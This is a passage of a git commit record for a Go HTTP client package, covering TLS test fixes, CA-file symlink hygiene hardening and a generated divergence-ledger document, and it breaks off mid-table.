ca_wrong_ca_test.go confirmed not reproducible across 8 reruns), golangci-lint run ./internal/httpclient/... (0 issues), make api-check (no apigen drift), bazel test //internal/httpclient/... //internal/httpapi/wireshape/... (5/5 PASSED). Co-Authored-By: Claude Sonnet 5 * fix(httpclient): stop the wrong-CA TLS tests racing Happy Eyeballs Root cause: startServer rewrites its httptest TLS server's URL to the hostname "localhost" so SNI is actually sent, but the server itself only binds 127.0.0.1. net/http's default dialer does RFC 6555 Happy Eyeballs for a hostname with more than one address family, racing a tcp6 dial to ::1: against the real tcp4 dial. On this host, many unrelated processes (JVM tooling) are bound to high ::1 ports, so the tcp6 race occasionally "won" against a listener that had nothing to do with the test, and the client spoke TLS to it instead -- surfacing as "tls: first record does not look like a TLS handshake" rather than the expected x509.UnknownAuthorityError. Confirmed via ss -tlnp captured at the moment of failure (a java process holding the exact port raced) and via an immediate manual redial to 127.0.0.1 on that port succeeding against the real, still-live test server. Fix: forceIPv4Loopback (new shared helper in ca_test.go) rewrites the returned *http.Transport's DialContext to dial tcp4 only. SNI and the request Host are unaffected, since crypto/tls and net/http derive both from the URL, never from which address family carried the bytes. Wired into every TLS fixture test in the package (ca_wrong_ca_test.go's three tests, and ca_test.go's rotation test) -- grepped the rest of the repo for the same "rewrite to localhost for SNI" pattern and found no other occurrences. Also fixed a latent bug this surfaced: TestTransportForWrongCAViaEnvRefusesTheTLSHandshake called TransportFor(Target{}) with a nil BaseURL, so caHostMatches always returned false and the CAFileEnv path was never actually exercised -- the nil RoundTripper was silently masked by http.Client's fallback to http.DefaultTransport, which also failed to verify (via system roots) for an unrelated reason. Now passes Target{BaseURL: u} so the test exercises the host-scoped env-resolution path it documents. go test -race -count=50 -run WrongCA: 8/8 clean. Whole package go test -race -count=20: clean, twice. bazel test, golangci-lint, make api-check: all green. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): repair CI-red tests and apply review fixes (adopt-pr #7210) Three defects on the contributor head, none of them present on the base: - test/docsync's TestEngdocsAndRootMarkdownLinks fails: the generated divergence-ledger doc links http-client-backend.md, an architecture spec this repository does not carry. Name it in a code span instead, in ledgerDocPreamble, and regenerate the doc (-update-ledger-doc). - TestCAFileHygieneRefusesGroupWritableFile fails under umask 022: os.WriteFile's 0o660 passes through the umask, so the file lands 0640, is never group-writable, and TransportForFile accepts it. Chmod it explicitly. Its acceptance twin had the same gap on its file (only the explicitly chmodded directory reached the user-private-group exception), so chmod that file too: a mutant that drops the exception for files alone passed the old test under umask 022 and fails the new one. - That acceptance twin calls the unix-only isUserPrivateGroup from ca_test.go, which carries no build constraint, so the package's tests do not compile for GOOS=windows. Move it, otherwise verbatim, into ca_permissions_unix_test.go beside the other isUserPrivateGroup tests. Review fixes (iteration 1): - Encode dispatched through nine case arms of op/shape conjunctions (cyclomatic 24). Switch on an (op, shape) struct key instead, and move the getIssue and search-bridge arms into encodeGetIssue and encodeSearch. The arms are disjoint, so dispatch and every error string are unchanged. Cyclomatic 24 -> 10. - EventStream.Next kept four accumulators and the per-field switch in one loop (cognitive 27). Gather the accumulators into sseEvent and fold each field line, per-event cap included, in applyField. Next cognitive 27 -> 12; applyField is 11/11. - The CA hygiene walk joined a relative symlink target onto the textual containing directory, so with a/link -> ../b/c and b/c/x -> ../y it resolved a/y where the kernel opens b/y: a valid CA was refused, or a hygienic file at a/y was checked and read instead. readLinkTarget joins onto the directory's EvalSymlinks path, taken after that directory's own ancestors passed the hop-by-hop check. The regression test plants a decoy at a/y; a lexical-join mutant reads it and fails. - SaveTarget wrote a relative CAFile that every later LoadTarget refuses. Both now go through checkCAFileAbsolute, so SaveTarget refuses first, with LoadTarget's own message, and writes nothing. - Document the cached transport TransportFor and TransportForFile return as shared and read-only. Review fixes (iteration 2): - The walk still dropped a ".." inside a symlink target textually: filepath.Join cleans a relative target, and an absolute target's ancestors come from filepath.Dir, while the kernel takes that ".." from wherever the component before it really leads. Both reviews rated the relative leaf as a wrong-file read, and it is one: with x/d -> ../e/s, x/L -> d/../y read a decoy at x/y where the kernel opens e/y. The other three shapes are hygiene bypasses: an absolute leaf target x/d/../y, and an ancestor link to d/../dir or x/d/../dir with the CA at x/L/y, each read a file in a world-writable e that the walk never checked. readLinkTarget now refuses a target with a ".." after any other component, relative or absolute; a leading run of ".." is still taken from the directory's physical path. The test pins all four shapes behind a control that refuses e/y named directly, and a table pins hasInteriorDotDot's boundary. Mutants that drop the refusal, limit it to relative targets, refuse every "..", or count "." as a component each fail. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer --- BUILD.bazel | 9 + engdocs/design/http-divergence-ledger.md | 371 +++++ internal/httpapi/spec/BUILD.bazel | 11 + internal/httpapi/wireshape/BUILD.bazel | 10 + internal/httpclient/BUILD.bazel | 55 + internal/httpclient/backend_credential.go | 87 ++ .../httpclient/backend_credential_test.go | 109 ++ internal/httpclient/ca.go | 797 ++++++++++ internal/httpclient/ca_permissions_other.go | 61 + internal/httpclient/ca_permissions_unix.go | 403 +++++ .../httpclient/ca_permissions_unix_test.go | 554 +++++++ internal/httpclient/ca_test.go | 1307 +++++++++++++++++ internal/httpclient/ca_wrong_ca_test.go | 122 ++ internal/httpclient/credential.go | 273 ++++ internal/httpclient/credential_source_test.go | 76 + internal/httpclient/credential_test.go | 329 +++++ internal/httpclient/encode/BUILD.bazel | 48 + internal/httpclient/encode/bijection_test.go | 764 ++++++++++ internal/httpclient/encode/encode.go | 786 ++++++++++ internal/httpclient/encode/ledger.go | 1040 +++++++++++++ internal/httpclient/encode/ledger_fields.go | 456 ++++++ internal/httpclient/encode/ledger_render.go | 216 +++ .../httpclient/encode/ledger_render_test.go | 54 + internal/httpclient/encode/oracle_test.go | 281 ++++ internal/httpclient/encode/parentwalk.go | 378 +++++ internal/httpclient/encode/parentwalk_test.go | 531 +++++++ internal/httpclient/encode/roundtrip_test.go | 589 ++++++++ internal/httpclient/encode/skew.go | 257 ++++ internal/httpclient/encode/skew_test.go | 189 +++ internal/httpclient/encode/table.go | 731 +++++++++ internal/httpclient/helpers_test.go | 20 + internal/httpclient/target.go | 156 ++ internal/httpclient/target_test.go | 139 ++ internal/httpclient/wire/BUILD.bazel | 60 + internal/httpclient/wire/client.go | 482 ++++++ internal/httpclient/wire/client_test.go | 349 +++++ internal/httpclient/wire/credential.go | 43 + .../httpclient/wire/credential_source_test.go | 97 ++ internal/httpclient/wire/credential_test.go | 236 +++ internal/httpclient/wire/doc.go | 37 + internal/httpclient/wire/handshake.go | 565 +++++++ internal/httpclient/wire/handshake_test.go | 261 ++++ .../wire/handshake_wire_revision_test.go | 122 ++ internal/httpclient/wire/helpers_test.go | 132 ++ internal/httpclient/wire/paths.go | 221 +++ internal/httpclient/wire/paths_test.go | 253 ++++ internal/httpclient/wire/problem.go | 838 +++++++++++ internal/httpclient/wire/problem_test.go | 789 ++++++++++ .../wire/problem_wire_revision_test.go | 132 ++ .../httpclient/wire/project_stamp_test.go | 215 +++ .../httpclient/wire/revision_tolerance.go | 206 +++ .../wire/revision_tolerance_test.go | 327 +++++ internal/httpclient/wire/skew_test.go | 752 ++++++++++ internal/httpclient/wire/stream.go | 521 +++++++ internal/httpclient/wire/stream_test.go | 386 +++++ internal/httpclient/wire/vocabulary_test.go | 284 ++++ internal/httpclient/wire/writes.go | 566 +++++++ .../httpclient/wire/writes_batch_cap_test.go | 133 ++ .../httpclient/wire/writes_twospeed_test.go | 399 +++++ tools/bazel/go_srcs.py | 1 + 60 files changed, 19616 insertions(+) create mode 100644 engdocs/design/http-divergence-ledger.md create mode 100644 internal/httpclient/BUILD.bazel create mode 100644 internal/httpclient/backend_credential.go create mode 100644 internal/httpclient/backend_credential_test.go create mode 100644 internal/httpclient/ca.go create mode 100644 internal/httpclient/ca_permissions_other.go create mode 100644 internal/httpclient/ca_permissions_unix.go create mode 100644 internal/httpclient/ca_permissions_unix_test.go create mode 100644 internal/httpclient/ca_test.go create mode 100644 internal/httpclient/ca_wrong_ca_test.go create mode 100644 internal/httpclient/credential.go create mode 100644 internal/httpclient/credential_source_test.go create mode 100644 internal/httpclient/credential_test.go create mode 100644 internal/httpclient/encode/BUILD.bazel create mode 100644 internal/httpclient/encode/bijection_test.go create mode 100644 internal/httpclient/encode/encode.go create mode 100644 internal/httpclient/encode/ledger.go create mode 100644 internal/httpclient/encode/ledger_fields.go create mode 100644 internal/httpclient/encode/ledger_render.go create mode 100644 internal/httpclient/encode/ledger_render_test.go create mode 100644 internal/httpclient/encode/oracle_test.go create mode 100644 internal/httpclient/encode/parentwalk.go create mode 100644 internal/httpclient/encode/parentwalk_test.go create mode 100644 internal/httpclient/encode/roundtrip_test.go create mode 100644 internal/httpclient/encode/skew.go create mode 100644 internal/httpclient/encode/skew_test.go create mode 100644 internal/httpclient/encode/table.go create mode 100644 internal/httpclient/helpers_test.go create mode 100644 internal/httpclient/target.go create mode 100644 internal/httpclient/target_test.go create mode 100644 internal/httpclient/wire/BUILD.bazel create mode 100644 internal/httpclient/wire/client.go create mode 100644 internal/httpclient/wire/client_test.go create mode 100644 internal/httpclient/wire/credential.go create mode 100644 internal/httpclient/wire/credential_source_test.go create mode 100644 internal/httpclient/wire/credential_test.go create mode 100644 internal/httpclient/wire/doc.go create mode 100644 internal/httpclient/wire/handshake.go create mode 100644 internal/httpclient/wire/handshake_test.go create mode 100644 internal/httpclient/wire/handshake_wire_revision_test.go create mode 100644 internal/httpclient/wire/helpers_test.go create mode 100644 internal/httpclient/wire/paths.go create mode 100644 internal/httpclient/wire/paths_test.go create mode 100644 internal/httpclient/wire/problem.go create mode 100644 internal/httpclient/wire/problem_test.go create mode 100644 internal/httpclient/wire/problem_wire_revision_test.go create mode 100644 internal/httpclient/wire/project_stamp_test.go create mode 100644 internal/httpclient/wire/revision_tolerance.go create mode 100644 internal/httpclient/wire/revision_tolerance_test.go create mode 100644 internal/httpclient/wire/skew_test.go create mode 100644 internal/httpclient/wire/stream.go create mode 100644 internal/httpclient/wire/stream_test.go create mode 100644 internal/httpclient/wire/vocabulary_test.go create mode 100644 internal/httpclient/wire/writes.go create mode 100644 internal/httpclient/wire/writes_batch_cap_test.go create mode 100644 internal/httpclient/wire/writes_twospeed_test.go diff --git a/BUILD.bazel b/BUILD.bazel index f644db68c..91c33c0b0 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -252,3 +252,12 @@ go_test( "//issueops", ], ) + +# //internal/httpclient/encode:encode_test regenerates and compares the shipped +# divergence ledger doc (TestDivergenceLedgerDocMatchesLedger), so the doc must +# be readable as data under `bazel test`. docsync_files above globs it too, but +# that filegroup's visibility is scoped to //test/docsync alone. +exports_files( + ["engdocs/design/http-divergence-ledger.md"], + visibility = ["//internal/httpclient/encode:__pkg__"], +) diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md new file mode 100644 index 000000000..b88d98fce --- /dev/null +++ b/engdocs/design/http-divergence-ledger.md @@ -0,0 +1,371 @@ + + + + +# bd HTTP mode — the divergence ledger + +This is the shipped, human-readable rendering of divergence ledger v1: every +place `bd`'s HTTP client mode observably differs from local (embedded/served) +mode, each with its reason and the test that pins it. + +The discipline (design decision D9) is empty-by-default and test-asserted: +**every knowingly-degraded behavior is a ledger row with a pinned test, and a +degradation not in this table is a bug.** `refuse` rows fail rather than +proceeding — a dropped filter widens a result set invisibly, the one failure +class no server-side gate can observe — while `degrade` rows proceed with a +difference argued to be unmisreadable as a narrower or wider answer than the +caller asked for. + +This file is generated from `internal/httpclient/encode`'s +`Ledger()`, the machine-readable source the client actually consults. Do not +hand-edit it: change the ledger in Go and regenerate. Two gates keep it honest — +the encoder's reflection **bijection gate** pins the ledger to the wire (a +request field added upstream lands here or fails CI), and the golden test +`TestDivergenceLedgerDocMatchesLedger` pins this doc to the ledger. The prose +rationale, the decision numbers (D-rows) each entry cites, and the full test-lane +map live in the architecture spec, `http-client-backend.md`, which is not +included in this repository. + +A handful of rows still carry a `TODO` pin: these are the read-display and +pre-run residuals (wisp-in-list, the pretty `bd ready` parent-epic map, the +molecule/auto-import pre-run degradations). The +client core is complete; `ga-b8ddd.12` (per-request project-id enforcement) +closed the read-display escalation, so pinning the remaining fixture corpus is +deferred work, tracked on `ga-b8ddd.23` (the read-display residual) +and `ga-b8ddd.19` (the per-id D7 taxonomy). They are refusals or degradations +already in force — the `TODO` is on the test that will hold each one, not on +the behavior. + +## Kind + +- **refuse** — the operation fails; the wire cannot express what was asked and + proceeding would silently widen or narrow the answer. +- **degrade** — the operation proceeds with a knowingly different behavior that + cannot be misread as a different answer to the question asked. +- **retired** — a row a later council removed; kept so its L-number keeps + resolving and a re-enumeration can tell "retired" from "never existed". + +## Summary + +257 rows: 206 refuse, 33 degrade, 18 retired. + +## Whole-behavior divergences (D9 ledger) + +The L-rows the design's D9 table names: whole behaviors that differ over HTTP, each degraded knowingly or refused outright. Retired rows stay so the L-numbers every citation uses keep resolving. + +| ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | +|---|---|---|---|---|---|---| +| L1 | retired | — | RETIRED — `bd list` over http could not ask for the wisp plane | retired by the upstream ask the design page filed for it: "include_ephemeral on listIssues (retires L1)". Upstream published the parameter, the server decodes it (internal/httpapi/reads.go handleListIssues), and the encoder emits it whenever ListRequest.IncludeEphemeral is set. THERE IS NO DIVERGENCE LEFT TO RECORD. `bd list` still shows no wisps, but it shows none LOCALLY either: the front door registers no --include-ephemeral (only `bd ready` does, ready.go), so the field is unset on both paths and both answer the durable plane. A degrade row describing behavior the local oracle shares is not a degradation, and keeping it as one would be the same falsified-premise problem the W- rows had — a ledger arguing from a document that moved | D9 L1 (RETIRED), D8 row 1 | TestEncodedParametersRoundTripThroughTheServerDecoder | +| L2 | degrade | — | a non-created `bd list` sort, the flagless default included, costs page-to-exhaustion on the three legs that cannot push the order down: an unlimited read (--limit 0), a caller-supplied keyset position, and a server that does not advertise issues.list.sort | NARROWED, not retired, by the upstream ask this row named: listIssues publishes `sort` and `reverse`, and the pager's pushdown leg (list_walk.go sortedPage) answers a bounded, position-free request against an advertising server in ONE request, with the server's own LIMIT deciding which rows survive the caller's order. What is left is the legs where that is unavailable or unsafe. An unlimited read has to cross every row whatever the order, and `limit=0` pushed down would newly meet the server's unlimited-read refusal. A keyset position is defined in the created order, and the pager's prefix discard run against a page some other order truncated would drop rows whose replacements were never fetched — a wrong answer rather than a slow one. A down-level server is the fallback the capability probe exists to reach. On all three the client still fetches every page and applies the SQL order's own Go-side mirror plus a copy of the page epilogue's comparator. The weld itself is NOT a divergence and never was: a cursor is bound to the paged order it was minted in (`created` or `priority`) and the server refuses it under any other `sort` | D9 L2, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L3 | degrade | — | a multi-page fetch has no snapshot isolation | the keyset cursor pins a position, not a snapshot: rows created mid-walk are missed and row states mix instants, where local mode is one query | D9 L3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L4 | retired | — | `bd show` dependents sections and comment bodies were degraded | retired by council #1: the write-lifecycle wave landed include_dependents/include_comments on getIssue, and both the off-role text path and the on-role JSON path are wired | D9 L4 (RETIRED), D4, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L12 | refuse | — | an inexpressible filter refuses, never drops — the class rule every E- row below is an instance of | a dropped filter widens a result set invisibly, and the server can only reject parameters it receives | D9 L12, D7 | TestEncoderHonorsEveryTableDisposition | +| L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-dep-endpoint | degrade | — | a dependency add whose source or target names no issue refuses as ErrValidation over http, not as *DependencyEndpointNotFoundError wrapping ErrDependencySourceNotFound or ErrDependencyTargetNotFound | the wire spells that refusal as a 400 invalid_argument with reason `invalid_value` and the offending member in `param` (internal/httpapi/dependency_edit.go). Reason and code are the same ones a malformed id earns, so the two are indistinguishable without reading `detail` prose — which is exactly what the extension-member vocabulary exists to avoid. The refusal still FAILS the request and still writes nothing; only its classification is coarser. Upstream ask: a distinguishing code or reason for the endpoint-not-found refusal, which retires this row | D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-claim-prose | degrade | — | a claim refusal's MESSAGE does not carry the ClaimedBy/NotClaimableStatus fragments, so beads.ParseClaimConflict recovers nothing from it over http | the fragments exist so that parser can recover the conflicting assignee and status from PROSE. Over the wire both arrive as typed extension members and *ClaimConflictError is reconstructed whole, so a caller reading the FIELDS loses nothing. Recomposing the copy client-side would mean re-implementing which copy each refusal shape gets — an open issue held by someone else deliberately omits the assignee tail, an in-progress one carries it — which is a second implementation of the very rule the fragments were introduced to keep single | D8 row 3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-delete-notfound | degrade | — | issueops.Deleter.Delete over http refuses an absent id as issueops.ErrNotFound, not as *NotFoundError naming WHICH ids did not resolve | the role's error is a typo report and names every missing id; the wire deliberately does not repeat them (internal/httpapi's NotFound() carries a FIXED detail, so a 404 body cannot echo caller input back). The refusal still FAILS the request and still deletes NOTHING — not even the ids beside the typo — so the all-or-nothing promise is intact and only the classification is coarser. It is stated at the ROLE rather than at a command because `bd delete` is not reachable against an http workspace at all (see httpUnconsumedCapabilities); the embedder holding the role is the audience. Upstream ask: an ids extension member on the not_found problem, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-delete-dependents | degrade | — | the unforced dependents guard refuses as issueops.ErrValidation, not as *DependentsOutsideRequestError wrapping ErrDependentsOutsideRequest | the wire spells that refusal as a 400 invalid_argument with no `param` (internal/httpapi's failDeleteErr) — the fix is to change the REQUEST, by sending cascade or force — so the blocked id and its dependents cannot be reconstructed without parsing detail prose, which is what the extension-member vocabulary exists to avoid. The guard itself is untouched: the request fails and the graph is whole. Upstream ask: a dependents_outside_request code carrying issue_id and dependents, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-delete-bound | refuse | — | issueops.Deleter.Delete refuses a request naming more than 1000 ids, citing the wire bound; it is never split across requests | maxDeleteIDs = 1000 (internal/httpapi/delete.go). Splitting is the one path that silently breaks the request's one-transaction, one-history-entry contract — and it would ask the dependents guard about half a request at a time, so a pair the caller deliberately listed together would be refused as an outside dependent. Naive forwarding at least fails loudly. Stated at the ROLE: `bd delete` cannot reach an http workspace, so the embedder is the audience | D8 row 13, D9 L16 (the same argument, on the other bulk write) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-batchcreate-bound | refuse | — | `bd create --file` carrying more than 100 issues refuses, naming the wire bound; it is never split across requests | maxBatchCreateItems = 100 (internal/httpapi/batch_create.go). The request IS the transaction, so two requests are two transactions and two history entries where the role promises one — and a failure in the second leaves half a plan created, which is the outcome all-or-nothing exists to make impossible | D8 row 14, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-edgecount-bound | refuse | — | issueops.GraphCounter.CountEdges refuses a request naming more than 100 DISTINCT anchors, citing the wire bound; it is never chunked across requests | maxDependencyAnchors = 100 (internal/httpapi/edges.go), the same bound the stored-edge read on this collection carries — the role deliberately sets none of its own and says the bound belongs to the WIRE. Chunking is what a READ could get away with and this one cannot: CountEdges promises that an anchor's EXISTENCE and its edge count are read from one consistent view, so two requests would let an anchor be reported missing by a probe that raced a create the other chunk's count already saw — one answer contradicting itself, which is the exact failure AnchorEdgeCount.Missing exists to make impossible. Refusing at the bound fails loudly instead, and the caller splits the question knowing it asked twice. Upstream ask: a cursor or a higher bound on the anchor list, which retires this row | D9 L16 (the same argument, on a read), D8 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-batchcreate-target | degrade | — | a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound | the wire answers a dangling edge target with a 400 invalid_argument naming `items` (internal/httpapi's failBatchCreate), and deliberately does not quote the role's own message, which arrives as a driver error naming tables and constraints. The refusal still fails the whole batch and creates nothing — the promise the row is about — and only the second sentinel is lost. Upstream ask: a distinguishing code for the absent-target refusal | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L-batchcreate-inbatch | refuse | — | an edge onto an EARLIER ITEM OF THE SAME BATCH cannot be expressed at all over http | the capability needs the earlier item to have named an id for itself, and apigen.BatchCreateItem publishes no id member — an explicit id is refused with the rest of W-BatchCreateItem.Issue. So the target of an in-batch edge can only be a row the workspace already holds. It is a REFUSE row rather than a degrade because the request that asks for it fails: the client refuses the explicit id before the dial, and there is no second spelling that would land the edge silently. The wire's own `target_id` description names this case, so the gap is in the SCHEMA rather than in the handler — the upstream ask is an item id member, which retires this row | D8 row 14 | 